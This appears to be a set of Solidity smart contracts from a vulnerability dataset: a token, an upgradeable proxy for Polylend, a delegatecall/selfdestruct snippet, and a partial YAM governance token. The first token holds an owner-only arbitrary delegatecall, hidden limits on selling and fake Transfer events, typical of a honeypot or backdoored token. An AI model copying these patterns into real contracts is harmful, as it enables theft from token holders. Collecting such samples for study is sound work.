_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
// SPDX-License-Identifier: agpl-3.0
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback() external payable {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
//solium-disable-next-line
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title BaseUpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract BaseUpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT =
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal view override returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
//solium-disable-next-line
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(
Address.isContract(newImplementation),
'Cannot set a proxy implementation to a non-contract address'
);
bytes32 slot = IMPLEMENTATION_SLOT;
//solium-disable-next-line
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title UpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with a constructor for initializing
* implementation and init data.
*/
contract UpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if (_data.length > 0) {
(bool success, ) = _logic.delegatecall(_data);
require(success);
}
}
}
/**
* @title BaseAdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT =
0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), 'Cannot change the admin of a proxy to the zero address');
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data)
external
payable
ifAdmin
{
_upgradeTo(newImplementation);
(bool success, ) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
//solium-disable-next-line
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
//solium-disable-next-line
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal virtual override {
require(msg.sender != _admin(), 'Cannot call fallback function from the proxy admin');
super._willFallback();
}
}
/**
* @title InitializableUpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with an initializer for initializing
* implementation and init data.
*/
contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract initializer.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if (_data.length > 0) {
(bool success, ) = _logic.delegatecall(_data);
require(success);
}
}
}
/**
* @title InitializableAdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for
* initializing the implementation, admin, and init data.
*/
contract InitializableAdminUpgradeabilityProxy is
BaseAdminUpgradeabilityProxy,
InitializableUpgradeabilityProxy
{
/**
* Contract initializer.
* @param logic address of the initial implementation.
* @param admin Address of the proxy administrator.
* @param data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(
address logic,
address admin,
bytes memory data
) public payable {
require(_implementation() == address(0));
InitializableUpgradeabilityProxy.initialize(logic, data);
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(admin);
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override(BaseAdminUpgradeabilityProxy, Proxy) {
BaseAdminUpgradeabilityProxy._willFallback();
}
}
interface PolylendToken {
function initialize(address admin, string calldata name_, string calldata symbol_, uint8 decimals_) external;
}
contract PolylendUpgrade is Ownable {
address public _tokenProxy;
struct TokenInput {
address admin;
address impl;
string name;
string symbol;
uint8 decimals;
}
function Initialize(TokenInput calldata input)
external
onlyOwner
{
require(_tokenProxy == address(0), 'Create fail for proxy exist');
InitializableAdminUpgradeabilityProxy proxy =
new InitializableAdminUpgradeabilityProxy();
bytes memory initParams = abi.encodeWithSelector(
PolylendToken.initialize.selector,
input.admin,
input.name,
input.symbol,
input.decimals
);
proxy.initialize(input.impl, address(this), initParams);
_tokenProxy = address(proxy);
}
function Upgrade(TokenInput calldata input)
external
onlyOwner
{
require(_tokenProxy != address(0), 'Upgrade fail for proxy null');
InitializableAdminUpgradeabilityProxy proxy =
InitializableAdminUpgradeabilityProxy(payable(_tokenProxy));
bytes memory initParams = abi.encodeWithSelector(
PolylendToken.initialize.selector,
input.admin,
input.name,
input.symbol,
input.decimals
);
proxy.upgradeToAndCall(input.impl, initParams);
}
}
|
DC1
|
pragma solidity ^0.4.23;
contract Destroy{
function delegatecall_selfdestruct(address _target) external returns (bool _ans) {
_ans = _target.delegatecall(bytes4(sha3("address)")), this);
}
}
|
DC1
|
pragma solidity 0.5.17;
// SPDX-License-Identifier: MIT
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// Storage for a YAM token
contract YAMTokenStorage {
using SafeMath for uint256;
/**
* @dev Guard variable for re-entrancy checks. Not currently used
*/
bool internal _notEntered;
/**
* @notice EIP-20 token name for this token
*/
string public name;
/**
* @notice EIP-20 token symbol for this token
*/
string public symbol;
/**
* @notice EIP-20 token decimals for this token
*/
uint8 public decimals;
/**
* @notice Governor for this contract
*/
address public gov;
/**
* @notice Pending governance for this contract
*/
address public pendingGov;
/**
* @notice Approved rebaser for this contract
*/
address public rebaser;
/**
* @notice Reserve address of YAM protocol
*/
address public incentivizer;
/**
* @notice Total supply of YAMs
*/
uint256 public totalSupply;
/**
* @notice Internal decimals used to handle scaling factor
*/
uint256 public constant internalDecimals = 10**24;
/**
* @notice Used for percentage maths
*/
uint256 public constant BASE = 10**18;
/**
* @notice Scaling factor that adjusts everyone's balances
*/
uint256 public yamsScalingFactor;
mapping (address => uint256) internal _yamBalances;
mapping (address => mapping (address => uint256)) internal _allowedFragments;
uint256 public initSupply;
}
contract YAMGovernanceStorage {
/// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
}
contract YAMTokenInterface is YAMTokenStorage, YAMGovernanceStorage {
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/**
* @notice Event emitted when tokens are rebased
*/
event Rebase(uint256 epoch, uint256 prevYamsScalingFactor, uint256 newYamsScalingFactor);
/*** Gov Events ***/
/**
* @notice Event emitted when pendingGov is changed
*/
event NewPendingGov(address oldPendingGov, address newPendingGov);
/**
* @notice Event emitted when gov is changed
*/
event NewGov(address oldGov, address newGov);
/**
* @notice Sets the rebaser contract
*/
event NewRebaser(address oldRebaser, address newRebaser);
/**
* @notice Sets the incentivizer contract
*/
event NewIncentivizer(address oldIncentivizer, address newIncentivizer);
/* - ERC20 Events - */
/**
* @notice EIP20 Transfer event
*/
event Transfer(address indexed from, address indexed to, uint amount);
/**
* @notice EIP20 Approval event
*/
event Approval(address indexed owner, address indexed spender, uint amount);
/* - Extra Events - */
/**
* @notice Tokens minted event
*/
event Mint(address to, uint256 amount);
// Public functions
function transfer(address to, uint256 value) external returns(bool);
function transferFrom(address from, address to, uint256 value) external returns(bool);
function balanceOf(address who) external view returns(uint256);
function balanceOfUnderlying(address who) external view returns(uint256);
function allowance(address owner_, address spender) external view returns(uint256);
function approve(address spender, uint256 value) external returns (bool);
function increaseAllowance(address spender, uint256 addedValue) external returns (bool);
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool);
function maxScalingFactor() external view returns (uint256);
/* - Governance Functions - */
function getPriorVotes(address account, uint blockNumber) external view returns (uint256);
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) external;
function delegate(address delegatee) external;
function delegates(address delegator) external view returns (address);
function getCurrentVotes(address account) external view returns (uint256);
/* - Permissioned/Governance functions - */
function mint(address to, uint256 amount) external returns (bool);
function rebase(uint256 epoch, uint256 indexDelta, bool positive) external returns (uint256);
function _setRebaser(address rebaser_) external;
function _setIncentivizer(address incentivizer_) external;
function _setPendingGov(address pendingGov_) external;
function _acceptGov() external;
}
contract YAMGovernanceToken is YAMTokenInterface {
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegator The address to get delegatee for
*/
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
bytes32 domainSeparator = keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name)),
getChainId(),
address(this)
)
);
bytes32 structHash = keccak256(
abi.encode(
DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry
)
);
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
domainSeparator,
structHash
)
);
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "YAM::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "YAM::delegateBySig: invalid nonce");
require(now <= expiry, "YAM::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "YAM::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = _yamBalances[delegator]; // balance of underlying YAMs (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
